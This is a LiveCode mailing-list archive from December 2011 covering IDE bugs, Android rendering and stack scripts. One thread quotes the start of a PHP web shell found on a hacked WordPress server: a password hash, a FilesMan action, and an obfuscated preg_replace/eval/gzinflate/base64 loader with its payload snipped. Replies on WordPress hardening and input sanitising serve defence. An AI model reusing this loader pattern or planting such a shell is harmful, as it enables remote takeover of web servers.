Livecode." Warm regards to you all, Jim Little Seattle On Dec 24, 2011, at 4:38 AM, Richmond wrote: > I would like to wish all people on the Use-List a Happy Festival in the hope > that whatever your faith, or lack thereof, we can all work together, rather than push in separate > directions, to a shared attitude of greater kindness and forbearing towards one another. > > Love, Richmond. > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From pete at mollysrevenge.com Sat Dec 24 15:07:07 2011 From: pete at mollysrevenge.com (Pete) Date: Sat, 24 Dec 2011 12:07:07 -0800 Subject: Trouble with button icon images In-Reply-To: <4EF613A7.80004@hyperactivesw.com> References: <80B28712-A818-4D01-B92D-97E995856741@economy-x-talk.com> <4EF60A58.3090200@hyperactivesw.com> <4EF613A7.80004@hyperactivesw.com> Message-ID: Great, thanks. On Sat, Dec 24, 2011 at 10:02 AM, J. Landman Gay wrote: > On 12/24/11 11:56 AM, Pete wrote: > >> Thanks Jacque. When I use the library, I use the Place Reference button >> to >> put a button on whatever card I'm working on, preconfigured to refer to >> the >> image as its icon. Are you saying that those images won't show up when I >> build a standalone? >> > > No, they'll show up fine if they are placed. If you use them as icons, be > sure to use the placed image's ID. It's just a convenient way to keep > images somewhere besides on disk, but the behavior after placement is > identical. > > > -- > Jacqueline Landman Gay | jacque at hyperactivesw.com > HyperActive Software | http://www.hyperactivesw.com > > ______________________________**_________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/**mailman/listinfo/use-livecode > > -- Pete Molly's Revenge From lfredricks at proactive-intl.com Sat Dec 24 15:21:52 2011 From: lfredricks at proactive-intl.com (Lynn Fredricks) Date: Sat, 24 Dec 2011 12:21:52 -0800 Subject: OT: Tracking Santa Message-ID: Hi Everyone, NORAD TRACKS SANTA is live today with Santa being tracked "live" and using Google Earth. Totally off-topic, but if you watch those videos, you'll see a Santa and sleigh. These come from Meshbox Design, which is a part of Proactive International (and based partially on my original design!). We've been a co-contributor to this project for 5+ years now. Have a Merry Christmas everyone! Best regards, Lynn Fredricks President Proactive International, LLC - Because it is about who you know.(tm) http://www.proactive-intl.com From capellan2000 at gmail.com Sat Dec 24 17:34:15 2011 From: capellan2000 at gmail.com (Alejandro Tejada) Date: Sat, 24 Dec 2011 14:34:15 -0800 (PST) Subject: Thanks to Scott Rossi In-Reply-To: <3D7F9CA7-202A-4EAB-832A-5F9BBC4E5017@mac.com> References: <3D7F9CA7-202A-4EAB-832A-5F9BBC4E5017@mac.com> Message-ID: <1324766055137-4232166.post@n4.nabble.com> Hi Roger, Roger Guay wrote > > A special thanks to Scott Rossi who again gives us an elegant gift in the > latest revUP. > And a wish for a Happy Holiday to all of you on this great list! > Thanks and cheers, > Many Thanks and wish the same for every one of you. Just for curiosity, Which revUP newsletter did you wrote about? http://runrev.com/developers/resources/newsletters/ Al -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/Thanks-to-Scott-Rossi-tp4226154p4232166.html Sent from the Revolution - User mailing list archive at Nabble.com. From johnb at hvc.rr.com Sat Dec 24 22:25:04 2011 From: johnb at hvc.rr.com (John Brozycki) Date: Sat, 24 Dec 2011 22:25:04 -0500 Subject: OT: Tracking Santa In-Reply-To: References: Message-ID: Lynn, Very cool! My 8 yr old son has been closely following this all night. He was really impressed how it even had Rudolf, and Rudolf's nose was red. Well done! Happy Holidays, all! -John On Dec 24, 2011, at 3:21 PM, Lynn Fredricks wrote: > Hi Everyone, > > NORAD TRACKS SANTA is live today with Santa being tracked "live" and using > Google Earth. > > Totally off-topic, but if you watch those videos, you'll see a Santa and > sleigh. These come from Meshbox Design, which is a part of Proactive > International (and based partially on my original design!). We've been a > co-contributor to this project for 5+ years now. > > Have a Merry Christmas everyone! > > Best regards, > > Lynn Fredricks > President > Proactive International, LLC > > - Because it is about who you know.(tm) > http://www.proactive-intl.com > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From roger.e.eller at sealedair.com Sat Dec 24 22:50:22 2011 From: roger.e.eller at sealedair.com (Roger Eller) Date: Sat, 24 Dec 2011 22:50:22 -0500 Subject: Thanks to Scott Rossi In-Reply-To: <1324766055137-4232166.post@n4.nabble.com> References: <3D7F9CA7-202A-4EAB-832A-5F9BBC4E5017@mac.com> <1324766055137-4232166.post@n4.nabble.com> Message-ID: On Sat, Dec 24, 2011 at 5:34 PM, Alejandro Tejada wrote: > Hi Roger, > > > Roger Guay wrote > > > > A special thanks to Scott Rossi who again gives us an elegant gift in the > > latest revUP. > > And a wish for a Happy Holiday to all of you on this great list! > > Thanks and cheers, > > > > Many Thanks and wish the same for every one of you. > Just for curiosity, Which revUP newsletter did you > wrote about? > > http://runrev.com/developers/resources/newsletters/ > > Al I think this is the newsletter you seek. http://www.runrev.com/newsletter/december/issue125/ http://www.runrev.com/newsletter/december/issue125/newsletter3.php From roger.e.eller at sealedair.com Sat Dec 24 22:50:22 2011 From: roger.e.eller at sealedair.com (Roger Eller) Date: Sat, 24 Dec 2011 22:50:22 -0500 Subject: Thanks to Scott Rossi In-Reply-To: <1324766055137-4232166.post@n4.nabble.com> References: <3D7F9CA7-202A-4EAB-832A-5F9BBC4E5017@mac.com> <1324766055137-4232166.post@n4.nabble.com> Message-ID: On Sat, Dec 24, 2011 at 5:34 PM, Alejandro Tejada wrote: > Hi Roger, > > > Roger Guay wrote > > > > A special thanks to Scott Rossi who again gives us an elegant gift in the > > latest revUP. > > And a wish for a Happy Holiday to all of you on this great list! > > Thanks and cheers, > > > > Many Thanks and wish the same for every one of you. > Just for curiosity, Which revUP newsletter did you > wrote about? > > http://runrev.com/developers/resources/newsletters/ > > Al I think this is the newsletter you seek. http://www.runrev.com/newsletter/december/issue125/ http://www.runrev.com/newsletter/december/issue125/newsletter3.php From m.schonewille at economy-x-talk.com Sun Dec 25 12:56:40 2011 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Sun, 25 Dec 2011 18:56:40 +0100 Subject: IDE windows and screenrect In-Reply-To: References: <5A6B05C2-53FC-466B-A912-6DD630330961@economy-x-talk.com> <4EF5E901.5070405@gmail.com> <40D7C101-635C-4896-9267-9C2AB7525B52@economy-x-talk.com> Message-ID: <88A186F6-69C9-4A86-85BB-794BF5C51D5D@economy-x-talk.com> Hi all, I made a plugin to solve this problem. You can download it from the private section of the Economy-x-Talk homepage: http://qery.us/1fd . It is called Keep on Screen and you can find it at the bottom of the page. A small contribution is required to access the downloads in this section. -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Become our partner in sales http://qery.us/1bq Start selling Color Converter today. 20% commission! On 24 dec 2011, at 16:27, Mike Bonner wrote: > Ah k yep. Thats the one thanks very much! > From fmoyer at aol.com Sun Dec 25 15:31:36 2011 From: fmoyer at aol.com (Fred Moyer) Date: Sun, 25 Dec 2011 15:31:36 -0500 Subject: 5.0.2 startup woes In-Reply-To: References: Message-ID: Thanks for the suggestion, but that doesn't work either. And "set the tool to browse" is just one command that isn't running correctly on startup with 5.0.2. Does anyone know why now with 5.0.2, preopenstack, startup and openstack suddenly don't work correctly when you start LiveCode by double-clicking on a stack? By the way, I do sense that version 5 starts up much quicker than 4, but maybe that has something to do with it -- maybe there are some steps it is skipping. Note: I can get the browse tool to change if I set the stack script to this: on openstack send "doOpenStackThings" to this stack in 10 ticks end openstack on doOpenStackThings set the tool to "browse" end doOpenStackThings but I think something as basic as on openstack choose browse tool end openstack should work correctly without tortured scripts. Or am I misunderstanding something? Thanks for any advice. Merry Christmas, fellow Revolutionaries and LiveCoders! Fred On Dec 24, 2011, at 1:00 PM, use-livecode-request at lists.runrev.com wrote: > Try : > > set the tool to "browse" > > HTH, > > Le 24 d?c. 2011 ? 07:30, Warren Samples a ?crit : > >> On 12/23/2011 11:40 PM, Fred Moyer wrote: >>> Now with this new 5.0.2 that I just purchased, various startup, openstack and preopenstack commands do not implement -- that is they don't implement when I double-click on the stack while LiveCode is not running. (Everything works fine if LiveCode is already running.) But, for example, if you make a stack that simply consists of a stack script that says: >>> >>> on openstack >>> choose browse tool >>> beep >>> end openstack >>> >>> If you double-click on the stack with LiveCode not running, and 5.0.2 starts up, does the tool change to browse tool? In my computer (Mac), it doesn't -- but the computer does beep. Am I missing something really basic here? If I drag my new version 5.0.2 to the trash, which leaves 4.6.4 to start up, and do the same thing, the tool switches to browse tool as it should. There are other startup issues suddenly going on in 5.0.2 which I don't understand. >>> >>> Can anyone advise? >>> >>> Thanks >>> Fred From sc at sahores-conseil.com Sun Dec 25 19:20:15 2011 From: sc at sahores-conseil.com (Pierre Sahores) Date: Mon, 26 Dec 2011 01:20:15 +0100 Subject: 5.0.2 startup woes In-Reply-To: References: Message-ID: <60B913AE-2D3A-4206-86A3-48D81F921930@sahores-conseil.com> Hi Fred, I can confirm that LC 5.0.2 is not working as expected. The bug you reports is 100% reproductible there. Seems that mothership will have to solve this for us ! Along the tests, i discovered the following : Some of my stacks are using extensively code to have all component (fields, buttons, bg image, etc...) owns its right relative position to each other when the stack is live resized to its main rect at open and resume time. All works fine under LC 5.0.1 and previous 4.x.x / 5.0 versions (Snow Leo 10.6.8, XP SP3 and above) and leaks under LC 5.0.2. It seems to me that my resize stack code is't catched in the expected way anymore. I tested the situation in using "set the acceleratedRendering of stack "my stack" to true|false" back and forth but the problem occurs in both situations and don't seems to depend from the acceleratedRendering prop state at all. I reported this to support. Did you too ? Else, please do it ;-) Best, Pierre Le 25 d?c. 2011 ? 21:31, Fred Moyer a ?crit : > Thanks for the suggestion, but that doesn't work either. And "set the tool to browse" is just one command that isn't running correctly on startup with 5.0.2. Does anyone know why now with 5.0.2, preopenstack, startup and openstack suddenly don't work correctly when you start LiveCode by double-clicking on a stack? By the way, I do sense that version 5 starts up much quicker than 4, but maybe that has something to do with it -- maybe there are some steps it is skipping. > > Note: I can get the browse tool to change if I set the stack script to this: > > on openstack > send "doOpenStackThings" to this stack in 10 ticks > end openstack > > on doOpenStackThings > set the tool to "browse" > end doOpenStackThings > > but I think something as basic as > > on openstack > choose browse tool > end openstack > > should work correctly without tortured scripts. Or am I misunderstanding something? > > Thanks for any advice. > > Merry Christmas, fellow Revolutionaries and LiveCoders! > Fred > > On Dec 24, 2011, at 1:00 PM, use-livecode-request at lists.runrev.com wrote: > >> Try : >> >> set the tool to "browse" >> >> HTH, >> >> Le 24 d?c. 2011 ? 07:30, Warren Samples a ?crit : >> >>> On 12/23/2011 11:40 PM, Fred Moyer wrote: >>>> Now with this new 5.0.2 that I just purchased, various startup, openstack and preopenstack commands do not implement -- that is they don't implement when I double-click on the stack while LiveCode is not running. (Everything works fine if LiveCode is already running.) But, for example, if you make a stack that simply consists of a stack script that says: >>>> >>>> on openstack >>>> choose browse tool >>>> beep >>>> end openstack >>>> >>>> If you double-click on the stack with LiveCode not running, and 5.0.2 starts up, does the tool change to browse tool? In my computer (Mac), it doesn't -- but the computer does beep. Am I missing something really basic here? If I drag my new version 5.0.2 to the trash, which leaves 4.6.4 to start up, and do the same thing, the tool switches to browse tool as it should. There are other startup issues suddenly going on in 5.0.2 which I don't understand. >>>> >>>> Can anyone advise? >>>> >>>> Thanks >>>> Fred > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode -- Pierre Sahores mobile : 06 03 95 77 70 www.sahores-conseil.com From jhurley0305 at sbcglobal.net Sun Dec 25 19:38:43 2011 From: jhurley0305 at sbcglobal.net (James Hurley) Date: Sun, 25 Dec 2011 16:38:43 -0800 Subject: Point at which speaking is stopped? In-Reply-To: References: Message-ID: I one executes a "revStopSpeach", is it possible to learn the point in the text where the speaking was stopped? Jim From katir at hindu.org Sun Dec 25 22:28:24 2011 From: katir at hindu.org (Sivakatirswami) Date: Sun, 25 Dec 2011 17:28:24 -1000 Subject: OT: Decrypting PHP preg_replace Strings Message-ID: <4EF7E9D8.4040102@hindu.org> We have hackers on our web server getting in thru one Domain... I think there is a whole in WordPress. Long story... a nuisance, But they are able to write files to locations out outside the blog directory, insert strings into the first line on .html files and are cloning our pages and storing them in obscure places like /var/lib/dovecot/control/theHackedDomain (this directory is deep in the system but writeable by the user for this domain) We don't see how they are getting in. They are not able to touch anything else on the box.. anyway... is there a live code function that can decrypt the string at the and of this file? --?php $auth_pass = "347455f3975a7c84651eb69f10198b09"; $color = "#df5"; $default_action = 'FilesMan'; $default_use_ajax = true; $default_charset = 'Windows-1251'; preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'5b1pdxrHEjD82fec+x9aE24GYoQA2bkOEli2LNlybMnR4lV+yAADTDQwZGYQkh3996eqepnuWRCyk/uc97xyIkF3dXX1Xl1dizcsr7mTWXxdLnVP9o7f7h1/sl+cnr7pnsG37pPne4en9u[snip] dLFUEiippqKn6fwE='\x29\x29\x29\x3B",".");?-- I can't wait until move our site over to RevIgniter; I think it will be much more secure! Sivakatirswami www.himlayanacademy.com From jacque at hyperactivesw.com Mon Dec 26 01:27:34 2011 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Mon, 26 Dec 2011 00:27:34 -0600 Subject: Update on Android and OpenGL in Froyo Message-ID: <4EF813D6.7090709@hyperactivesw.com> Just a heads-up to those developing for Android. I've been trying to solve an issue on my 2.2.1 tablet for some time. When I set dynamic rendering to use OpenGL, my app launches to a black screen and hangs indefinitely. It is always repeatable. I'm grateful to Ralph DiMola who offered to help test. He's running Android 2.2.1 on his phone, and had exactly the same result, so it looks like a problem with Froyo. Several people had run my app with no problems, but everyone else was on 2.3 or 3.x. I'll let RR know so they can work on a fix. In the mean time, if you are developing for Android and using the new rendering features, be aware that if you set rendering to use OpenGL it may fail on devices running Froyo 2.2.1 (and maybe below.) Software rendering works fine, though a bit slower, so a work-around is to check the system version and if it's below 2.3, use software rendering. The last I heard, about 30% of the Android population was still on Froyo, so failure in a released app could have repercussions. It would be best to use the work-around if you need to release soon. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From jacque at hyperactivesw.com Mon Dec 26 01:43:29 2011 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Mon, 26 Dec 2011 00:43:29 -0600 Subject: OT: Decrypting PHP preg_replace Strings In-Reply-To: <4EF7E9D8.4040102@hindu.org> References: <4EF7E9D8.4040102@hindu.org> Message-ID: <4EF81791.40907@hyperactivesw.com> On 12/25/11 9:28 PM, Sivakatirswami wrote: > We have hackers on our web server getting in thru one Domain... I think > there is a whole in WordPress. My hosting provider, JaguarPC, just released this notice four days ago. Sounds like a similar thing. **** Wordpress Security Advisory We are currently seeing a high number of Wordpress installations being hacked due to out of date scripts, plugins, and themes. The folks at Wordpress are very good about releasing fixes whenever they hear about a new exploit. Please take some time to check your installations and update everything noted in your WP admin panel under Updates including anything installed such as a theme or plugin that is not currently being used. Consider removing unused items for better security. Wordpress 3.3 was just released as well as updates for their 2 default themes. Now is also a good time to harden the security of your blogs. There are lots of things you can do to protect your blogs from hacking. WPsecure has tips and info on recent exploits. See also Hardening WordPress ? WordPress Codex . Many more tips are available by using search engines to search for "securing wordpress". A little time spent now on this can prevent huge headaches and downtime in the future. There are numerous security plugins you can install such as Login Lockdown, WP Security Scan, and Mute Screamer. I highly recommend them. Before making any changes, be sure to make a full backup of your account in your control panel under Backups. Wordpress users should also be doing routine database backups either with a cron job or a plugin named WordPress Database Backup. The database is the heart and soul of any blog. Scripts can easily be reinstalled but not lost data without current backups. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From andre at andregarzia.com Mon Dec 26 10:13:06 2011 From: andre at andregarzia.com (Andre Garzia) Date: Mon, 26 Dec 2011 13:13:06 -0200 Subject: Update on Android and OpenGL in Froyo In-Reply-To: <4EF813D6.7090709@hyperactivesw.com> References: <4EF813D6.7090709@hyperactivesw.com> Message-ID: Jacque, Thank you very much for the heads up. Do you know if we can set minimum version on the Android Market? For games, the software renderer might not be enough. It may be better not to allow software on 2.2.1 then allow it and have bad performance. Cheers andre On Mon, Dec 26, 2011 at 4:27 AM, J. Landman Gay wrote: > Just a heads-up to those developing for Android. I've been trying to solve > an issue on my 2.2.1 tablet for some time. When I set dynamic rendering to > use OpenGL, my app launches to a black screen and hangs indefinitely. It is > always repeatable. > > I'm grateful to Ralph DiMola who offered to help test. He's running > Android 2.2.1 on his phone, and had exactly the same result, so it looks > like a problem with Froyo. Several people had run my app with no problems, > but everyone else was on 2.3 or 3.x. I'll let RR know so they can work on a > fix. > > In the mean time, if you are developing for Android and using the new > rendering features, be aware that if you set rendering to use OpenGL it may > fail on devices running Froyo 2.2.1 (and maybe below.) Software rendering > works fine, though a bit slower, so a work-around is to check the system > version and if it's below 2.3, use software rendering. > > The last I heard, about 30% of the Android population was still on Froyo, > so failure in a released app could have repercussions. It would be best to > use the work-around if you need to release soon. > > -- > Jacqueline Landman Gay | jacque at hyperactivesw.com > HyperActive Software | http://www.hyperactivesw.com > > ______________________________**_________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/**mailman/listinfo/use-livecode > -- http://www.andregarzia.com -- All We Do Is Code. http://fon.nu -- minimalist url shortening service. From ambassador at fourthworld.com Mon Dec 26 10:23:05 2011 From: ambassador at fourthworld.com (Richard Gaskin) Date: Mon, 26 Dec 2011 07:23:05 -0800 Subject: Thanks to Scott Rossi In-Reply-To: References: Message-ID: <4EF89159.4010707@fourthworld.com> Roger Eller wrote: > I think this is the newsletter you seek. > > http://www.runrev.com/newsletter/december/issue125/ > http://www.runrev.com/newsletter/december/issue125/newsletter3.php Thanks for the links. Unfortunately, those going directly to the newsletter index at won't be able to find them, as that page only has links up to October, and none of the more recent newsletters are linked there. Is this an opportunity for RevIgniter to help make a CMS that's less work to keep current than whatever RunRev is currently using? -- Richard Gaskin Fourth World LiveCode training and consulting: http://www.fourthworld.com Webzine for LiveCode developers: http://www.LiveCodeJournal.com LiveCode Journal blog: http://LiveCodejournal.com/blog.irv From andre at andregarzia.com Mon Dec 26 10:27:36 2011 From: andre at andregarzia.com (Andre Garzia) Date: Mon, 26 Dec 2011 13:27:36 -0200 Subject: Thanks to Scott Rossi In-Reply-To: <4EF89159.4010707@fourthworld.com> References: <4EF89159.4010707@fourthworld.com> Message-ID: On Mon, Dec 26, 2011 at 1:23 PM, Richard Gaskin wrote: > Is this an opportunity for RevIgniter to help make a CMS that's less work > to keep current than whatever RunRev is currently using? I support this idea! It is time for RunRev to use LiveCodeServer in more places in its own website. -- http://www.andregarzia.com -- All We Do Is Code. http://fon.nu -- minimalist url shortening service. From ambassador at fourthworld.com Mon Dec 26 10:40:54 2011 From: ambassador at fourthworld.com (Richard Gaskin) Date: Mon, 26 Dec 2011 07:40:54 -0800 Subject: OT: Decrypting PHP preg_replace Strings In-Reply-To: <4EF7E9D8.4040102@hindu.org> References: <4EF7E9D8.4040102@hindu.org> Message-ID: <4EF89586.9080805@fourthworld.com> Sivakatirswami wrote: > We have hackers on our web server getting in thru one Domain... I think > there is a whole in WordPress. ... > I can't wait until move our site over to RevIgniter; I think it will be > much more secure! Well, at least with injection attacks from buffer overruns, according to Dr. Raney the LC engine is far more secure than most alternatives: I've been giving this subject a lot of thought recently, since a friend of mine had a site that was compromised using a similar exposure in Drupal. The Drupal folks have since closed that particular hole, but this raises two key points: 1. If you're using any third-party CMS, you really need to be prepared to stay on top of updates. A powerful CMS is also a complex one, and as complexity grows the range of potential entry points grows along with it. 2. If you write your own CMS, it may be helpful to change some coding habits to write more defensively. Here's one example of this latter point: For many years I've been in the habit of using "put url..." to get local file data, but if a system provides any way in which the name of the file being read is affected by inputs from the browser, it can be possible for that local URL reference to be a remote URL to some nefarious site. So now, when writing CGIs I take the time to use "open..."/"read..."/"close..." instead. While it takes a few more lines to write, it obviates the possibility that such code can be misused to inject remote URLs. Of course even better is to monitor incoming params to eliminate the use of undesirable remote URLs, and that should be done too. But as a system grows you may add features down the road which open up such possibilities, and if you've adopted defensive coding habits up front the implications are not so severe. So at a minimum, these days when writing CGIs I make an effort to: 1. Never use "put url..." for local file access 2. Carefully error-check incoming params to avoid unwanted data What other practices might we consider to make our CGIs more secure? For example, SQL injection is a common vulnerability, and PHP provides a function to sanitize data going into the DB. Any of you have a similar LiveCode function to sanitize data? -- Richard Gaskin Fourth World LiveCode training and consulting: http://www.fourthworld.com Webzine for LiveCode developers: http://www.LiveCodeJournal.com LiveCode Journal blog: http://LiveCodejournal.com/blog.irv From andre at andregarzia.com Mon Dec 26 10:55:12 2011 From: andre at andregarzia.com (Andre Garzia) Date: Mon, 26 Dec 2011 13:55:12 -0200 Subject: OT: Decrypting PHP preg_replace Strings In-Reply-To: <4EF89586.9080805@fourthworld.com> References: <4EF7E9D8.4040102@hindu.org> <4EF89586.9080805@fourthworld.com> Message-ID: On Mon, Dec 26, 2011 at 1:40 PM, Richard Gaskin wrote: > For example, SQL injection is a common vulnerability, and PHP provides a > function to sanitize data going into the DB. Any of you have a similar > LiveCode function to sanitize data? For some years, I've requested the exposure of mysql_real_escape_string() function from dbmysql database driver. The function is already there in the libraries that LiveCode is linked to but it is not exposed to us. This function correctly escapes a string so that the content can't be used for injection. http://quality.runrev.com/show_bug.cgi?id=9932 You guys can vote for the enhancement here. This would benefit LiveCodeServer, Desktop and Mobile. -- http://www.andregarzia.com -- All We Do Is Code. http://fon.nu -- minimalist url shortening service. From richmondmathewson at gmail.com Mon Dec 26 12:10:42 2011 From: richmondmathewson at gmail.com (Richmond) Date: Mon, 26 Dec 2011 19:10:42 +0200 Subject: Keeping stacks on-screen Message-ID: <4EF8AA92.7000801@gmail.com> Here's a fairly Quick-n-Dirty script which will "do the magic" if pasted into the stack script of any stack that is going wandering: on moveStack put the short name of this stack into THSTK if the left of stack THSTK > (item 1 of the screenRect) then set loc of stack THSTK to the screenLoc end if if the top of stack THSTK > (item 2 of the screenRect) then set loc of stack THSTK to the screenLoc end if if the right of stack THSTK > (item 3 of the screenRect) then set loc of stack THSTK to the screenLoc end if if the bottom of stack THSTK > (item 4 of the screenRect) then set loc of stack THSTK to the screenLoc end if end moveStack on preOpenStack put the short name of this stack into THSTK if the left of stack THSTK > (item 1 of the screenRect) then set loc of stack THSTK to the screenLoc end if if the top of stack THSTK > (item 2 of the screenRect) then set loc of stack THSTK to the screenLoc end if if the right of stack THSTK > (item 3 of the screenRect) then set loc of stack THSTK to the screenLoc end if if the bottom of stack THSTK > (item 4 of the screenRect) then set loc of stack THSTK to the screenLoc end if end preOpenStack Not rocket science, but it does the trick. Richmond. From jacque at hyperactivesw.com Mon Dec 26 12:26:09 2011 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Mon, 26 Dec 2011 11:26:09 -0600 Subject: Update on Android and OpenGL in Froyo In-Reply-To: References: <4EF813D6.7090709@hyperactivesw.com> Message-ID: <4EF8AE31.1010908@hyperactivesw.com> On 12/26/11 9:13 AM, Andre Garzia wrote: > Jacque, > > Thank you very much for the heads up. Do you know if we can set minimum > version on the Android Market? For games, the software renderer might not > be enough. It may be better not to allow software on 2.2.1 then allow it > and have bad performance. Yes, you can specify in the Android Manifest a minimum version and also which features the device must have to be compatible (i.e., cameras, GPS, etc.). If the user doesn't have a compatible device, the market won't even list your app when they search or browse. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From pete at mollysrevenge.com Mon Dec 26 12:33:40 2011 From: pete at mollysrevenge.com (Pete) Date: Mon, 26 Dec 2011 09:33:40 -0800 Subject: Smooth change in size of a stack Message-ID: What is the technique for making a change in stack height a smooth transition? Not a very good descriptions I guess but as an example, I'm looking at what happens in the Tools palette when you go back and forth between the various tabs. Thanks, -- Pete Molly's Revenge From andre at andregarzia.com Mon Dec 26 12:33:40 2011 From: andre at andregarzia.com (Andre Garzia) Date: Mon, 26 Dec 2011 15:33:40 -0200 Subject: Update on Android and OpenGL in Froyo In-Reply-To: <4EF8AE31.1010908@hyperactivesw.com> References: <4EF813D6.7090709@hyperactivesw.com> <4EF8AE31.1010908@hyperactivesw.com> Message-ID: On Mon, Dec 26, 2011 at 3:26 PM, J. Landman Gay wrote: > Yes, you can specify in the Android Manifest a minimum version and also > which features the device must have to be compatible (i.e., cameras, GPS, > etc.). If the user doesn't have a compatible device, the market won't even > list your app when they search or browse. Thanks! I feel safer now! =) -- http://www.andregarzia.com -- All We Do Is Code. http://fon.nu -- minimalist url shortening service. From pete at mollysrevenge.com Mon Dec 26 12:35:34 2011 From: pete at mollysrevenge.com (Pete) Date: Mon, 26 Dec 2011 09:35:34 -0800 Subject: Trouble with button icon images In-Reply-To: <4EF613A7.80004@hyperactivesw.com> References: <80B28712-A818-4D01-B92D-97E995856741@economy-x-talk.com> <4EF60A58.3090200@hyperactivesw.com> <4EF613A7.80004@hyperactivesw.com> Message-ID: HI Jacque, Just one more follow up to this. When the standalone is built, does it include all the images in the library or just the ones that are referenced in the application? The library I created has around 700 icons in it and I only use perhaps a dozen or so in any one application. Thank, On Sat, Dec 24, 2011 at 10:02 AM, J. Landman Gay wrote: > On 12/24/11 11:56 AM, Pete wrote: > >> Thanks Jacque. When I use the library, I use the Place Reference button >> to >> put a button on whatever card I'm working on, preconfigured to refer to >> the >> image as its icon. Are you saying that those images won't show up when I >> build a standalone? >> > > No, they'll show up fine if they are placed. If you use them as icons, be > sure to use the placed image's ID. It's just a convenient way to keep > images somewhere besides on disk, but the behavior after placement is > identical. > > > -- > Jacqueline Landman Gay | jacque at hyperactivesw.com > HyperActive Software | http://www.hyperactivesw.com > > ______________________________**_________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/**mailman/listinfo/use-livecode > > -- Pete Molly's Revenge From richmondmathewson at gmail.com Mon Dec 26 12:49:39 2011 From: richmondmathewson at gmail.com (Richmond) Date: Mon, 26 Dec 2011 19:49:39 +0200 Subject: Crashing Ubuntu 11.10 with LC 4.5 Message-ID: <4EF8B3B3.4060509@gmail.com> I suppose I had better start with a confession: Having been in dependency hell for about 2 months I have installed UBUNTU 11.10 on my main machine and am running Unity 2D on it. If one uses Avant Window Navigator one can very nearly avoid all the bumf that comes along with Unity. Still fairly cheesed-off with Unity, GNOME 3 and the fact that there has been no consideration for those who like GNOME 2 (after all, why not just keep it in the repositiories as an option?). Now, re my last post about keeping LC windows on-screen: having posted the script that I made first of all, I decided that putting the stack slap-bang, dead-centre everytime it strayed slightly off-screen was pretty awful, so I changed the code to this: on moveStack put the short name of this stack into THSTK if the left of stack THSTK > (item 1 of the screenRect) then set the left of stack THSTK to (item 1 of the screenRect) end if end moveStack and when I dragged my stack it froze the Ubuntu 11.10 interface completely, disabled the mouse and so forth; the only way out of this was either to jump on the button on the front of the computer or yank the power cable out from the back: neither what one might choose in an ideal situation. I don't have a desperate urge to try this out on either my PPC macMini or the Windows XP running in a Virtual Box setup; however, I do wonder whether the same sort of thing would happen. From coiin at verizon.net Mon Dec 26 12:55:19 2011 From: coiin at verizon.net (Colin Holgate) Date: Mon, 26 Dec 2011 12:55:19 -0500 Subject: Keeping stacks on-screen In-Reply-To: <4EF8AA92.7000801@gmail.com> References: <4EF8AA92.7000801@gmail.com> Message-ID: <74BA411F-5557-4241-BE92-BF6ACE0CF1D9@verizon.net> These first two entries should be < and not >. Might explain your other problem too. On Dec 26, 2011, at 12:10 PM, Richmond wrote: > on moveStack > put the short name of this stack into THSTK > if the left of stack THSTK > (item 1 of the screenRect) then > set loc of stack THSTK to the screenLoc > end if > if the top of stack THSTK > (item 2 of the screenRect) then > set loc of stack THSTK to the screenLoc > end if From mwieder at ahsoftware.net Mon Dec 26 13:03:50 2011 From: mwieder at ahsoftware.net (Mark Wieder) Date: Mon, 26 Dec 2011 10:03:50 -0800 Subject: OT: Decrypting PHP preg_replace Strings In-Reply-To: <4EF81791.40907@hyperactivesw.com> References: <4EF7E9D8.4040102@hindu.org> <4EF81791.40907@hyperactivesw.com> Message-ID: <122831709875.20111226100350@ahsoftware.net> Jacque- Sunday, December 25, 2011, 10:43:29 PM, you wrote: > My hosting provider, JaguarPC, just released this notice four days ago. > Sounds like a similar thing. I upgraded my on-rev Wordpress installation to 3.3 last week. No problems with the upgrade, so I recommend it. -- -Mark Wieder mwieder at ahsoftware.net From richmondmathewson at gmail.com Mon Dec 26 13:09:30 2011 From: richmondmathewson at gmail.com (Richmond) Date: Mon, 26 Dec 2011 20:09:30 +0200 Subject: Keeping stacks on-screen In-Reply-To: <74BA411F-5557-4241-BE92-BF6ACE0CF1D9@verizon.net> References: <4EF8AA92.7000801@gmail.com> <74BA411F-5557-4241-BE92-BF6ACE0CF1D9@verizon.net> Message-ID: <4EF8B85A.8080008@gmail.com> On 12/26/2011 07:55 PM, Colin Holgate wrote: > These first two entries should be< and not>. You're right there. > Might explain your other problem too. > > > On Dec 26, 2011, at 12:10 PM, Richmond wrote: > >> on moveStack >> put the short name of this stack into THSTK >> if the left of stack THSTK> (item 1 of the screenRect) then >> set loc of stack THSTK to the screenLoc >> end if >> if the top of stack THSTK> (item 2 of the screenRect) then >> set loc of stack THSTK to the screenLoc >> end if > _______________________________________________ > use-livecode mailing list > use-livecode at 